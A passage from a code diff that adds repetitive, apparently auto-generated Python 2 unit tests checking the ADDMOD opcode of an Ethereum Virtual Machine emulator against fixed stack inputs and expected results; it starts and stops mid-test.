+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_ADDMOD_674(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_ADDMOD_675(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_676(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [486777830487640090174734030864367L])
+
+    def test_ADDMOD_677(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288112L])
+
+    def test_ADDMOD_678(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288113L])
+
+    def test_ADDMOD_679(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576224L])
+
+    def test_ADDMOD_680(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [172400481631039198603551635931135L])
+
+    def test_ADDMOD_681(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288128L])
+
+    def test_ADDMOD_682(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288144L])
+
+    def test_ADDMOD_683(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288160L])
+
+    def test_ADDMOD_684(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288112L])
+
+    def test_ADDMOD_685(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [334659758460252561995129646219278L])
+
+    def test_ADDMOD_686(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643023L])
+
+    def test_ADDMOD_687(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643024L])
+
+    def test_ADDMOD_688(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [172400481631039198603551635931135L])
+
+    def test_ADDMOD_689(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [20282409603651670423947251286046L])
+
+    def test_ADDMOD_690(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643039L])
+
+    def test_ADDMOD_691(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643055L])
+
+    def test_ADDMOD_692(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643071L])
+
+    def test_ADDMOD_693(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643023L])
+
+    def test_ADDMOD_694(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576271L])
+
+    def test_ADDMOD_695(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_696(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_697(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288128L])
+
+    def test_ADDMOD_698(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643039L])
+
+    def test_ADDMOD_699(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_700(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_701(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_702(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_703(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
